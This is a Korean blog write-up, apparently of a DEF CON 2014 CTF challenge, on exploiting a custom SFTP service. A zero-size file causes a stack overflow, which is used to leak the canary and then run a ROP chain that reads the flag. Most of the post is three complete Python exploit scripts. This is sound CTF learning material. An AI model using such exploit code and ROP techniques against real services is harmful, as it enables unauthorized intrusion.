<pre class="brush:javascript">
STOR OLD <파일명> 으로 신규파일 생성, 사이즈를 주지 않는다.
그리고 RETR <파일명> 명령어를 사용하면 stat 함수로 사이즈를 리턴해 주는데
앞서 만든 파일 사이즈가 0이기 때문에 0을 돌려줌.
그리고 여기서 SEND 명령어를 입력하면 파일을 열어서 파일의 끝에 도달할 때까지 파일을 죄다 읽어서 보여줌.
실제 데이터가 존재하는 파일의 경우 stat 의 결과로 얻은 사이즈를 토대로
변동 스택(?)을 생성하여 ESP 를 충분히 넉넉한 크기로 당겨준다.
그래서 오버플로우가 생길 수 없는 환경이 만들어진다.
데이터가 있되 사이즈가 0인 파일을 찾으면 bof가 나겠구나 했다.
스택쿠키도 있었기 때문에 일단 릭 포인트를 찾아야 하는데
write 가 있으니 적당히 하면 되지 않을까.
당시 삽질이란 삽질은 참 많이했는데 일단 리눅스 시스템에서 사이즈가 0인 것들을 찾아보았고
그래서 찾은게 /proc/self/ 이하의 파일들.
이렇게 하니.. libc 버전도 알 수 있었는데.. 스택쿠키를 갖고올수가 없는데다가 프로그램이 죽어버림
포인트를 찾아놓고 못푼 이유는
stat 의 결과로 나온 사이즈를 갖고 read 를 한다고 생각했기 때문 -_-
어쨌든..
대회가 끝나고 나서야 알았던건.. 파일을 읽을 때는 1바이트씩 파일의 끝까지 읽어온다는거였고
2개의 클라이언트를 이용해서 SEND 하기 전에 데이터를 주면 무난히 릭이 가능함.
파일 3개를 이용했다
pwn.py
from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(('127.0.0.1', 40645)) r = s.recv(len("+LegitimateBusinessSyndicate SFTP Service")) print r t = "PASS defcon2014\n" s.send(t) r = s.recv(len("! Logged in")) print r t = "STOR OLD EXCHEESE\n\n" s.send(t) r = s.recv(len("+Will create new file ")) print r t = "RETR EXCHEESE\n" s.send(t) r = s.recv(len("0")) print r raw_input() # apppwn.py 실행 대기 print "[+] 'SEND' send" t = "SEND\n" s.send(t) #filesize : 0xf0 * 728 dump="" while 1: tmp = s.recv(1024)#.encode('hex') dump = dump+tmp if len(tmp)<1024: break; print "recv data : ",len(dump) #print dump buff = dump[0x30:0x34] canary = dump[924:928] oldebp = dump[936:940] print "buff data : " + hex(unpack('<I', buff)[0]) print "canary data : "+hex(unpack('<I', canary)[0])#canary.encode('hex') print "old ebp : "+hex(unpack('<I', oldebp)[0])#oldebp.encode('hex') #calcbuf = int(unpack('<I', oldebp)[0])-0x3A8 #print "buff address : %x"%calcbuf
#buff data 는 buf 포인터의 값을 썼고, calcbuf 는 ebp에서 거리를 잡고 계산을 했는데 값이 달랐음.
print "=====================" t = "STOR OLD EXCHEESE2\n\n" s.send(t) r = s.recv(len("+Will create new file ")) print r t = "RETR EXCHEESE2\n" s.send(t) r = s.recv(len("0")) print r raw_input() # apppwn_pay.py 실행대기 print "[+] 'SEND' send" t = "SEND\n" s.send(t) while 1: r = s.recv(1024) print r t = raw_input() s.send(t) s.close()
apppwn.py
from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('127.0.0.1', 40645)) filedata = "A"*44 + "\x2c\x04"
# 파일을 읽어올 때 파일을 1바이트씩 읽어서 사이즈를 얻는데,
# 처음 stat 할 당시에는 사이즈가 0이기 때문에 변동스택이 충분히 할당이 되지 않음.
# 그래서 기존의 스택을 덮게 되면서 사이즈 부분까지 덮게 되는데,
# 추후 write 에서 이 값을 기준으로 메모리를 얼마나 보내줄지 결정하게됨.
# 사이즈 조작 부분 r = s.recv(len("+LegitimateBusinessSyndicate SFTP Service")) print r t = "PASS defcon2014\n" s.send(t) r = s.recv(len("! Logged in")) print r t = "STOR APP EXCHEESE\n" s.send(t) r = s.recv(len("+Will append to EXCHEESE")) print r t = "SIZE %d\n"%len(filedata) s.send(t) r = s.recv(len("+ok, waiting for file")) #sh = ""#"/bin/sh\x00" #filedata = sh+"A"*(44-len(sh))+"\x2c\x04"#chr(0xf0)*728 s.send(filedata) s.close()
apppwn_pay.py
from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(('127.0.0.1', 40645))
## pwn.py에서 출력된 값 canary =0xe8dae500 ## pwn.py에서 출력된 값 buff = 0xbfd13c30 ## pwn.py 에서 출력된 값. 커스텀스택을 만들지 않아서 쓰이지는 않음 oldebp = 0xbfd14128 ## objdump -D 로 얻은 plt 들 fopen = 0x080487d0 read = 0x080486a0 write = 0x080487c0
readr = 0x08049f54 key = '../flag\0' pr = 0x80488d3 ppr = 0x80488d2 pppr = 0x8048f84 filedata = "" filedata += key filedata += pack('<I', buff) filedata += chr(0xf0)*(728 - 4 - len(key)) # 이 값은 로컬에서 계산. 더미로 어떤 값을 넣느냐에 따라 달라짐.
# 사이즈 부분을 덮기때문.
filedata += pack('<I', canary) filedata += "A"*4 filedata += "B"*4 filedata += pack('<I', oldebp) filedata += pack('<I', fopen) filedata += pack('<I', ppr) filedata += pack('<I', buff) filedata += pack('<I', readr) filedata += pack('<I', read) #read(0, buff, filedata += pack('<I', pppr) filedata += pack('<I', 5) filedata += pack('<I', buff) filedata += pack('<I', 100) filedata += pack('<I', write) filedata += pack('<I', 0xdeadbeef) filedata += pack('<I', 1) filedata += pack('<I', buff) filedata += pack('<I', 100) size = len(filedata) r = s.recv(len("+LegitimateBusinessSyndicate SFTP Service")) print r t = "PASS defcon2014\n" s.send(t) r = s.recv(len("! Logged in")) print r t = "STOR APP EXCHEESE2\n" s.send(t) r = s.recv(len("+Will append to ex")) print r t = "SIZE %d\n"%size s.send(t) r = s.recv(len("+ok, waiting for file")) s.send(filedata) s.close()
'Conference > Write up' 카테고리의 다른 글
codegate - hunting (0) | 2017.02.16 |
---|---|
IMS-hard - RC3 CTF 2016 400pt (0) | 2016.11.21 |
IMS-easy - RC3 CTF 2016 150pt (0) | 2016.11.21 |
defcon24 - feedme (0) | 2016.06.08 |
PCTF 2K13 ropasaurusrex (0) | 2014.04.29 |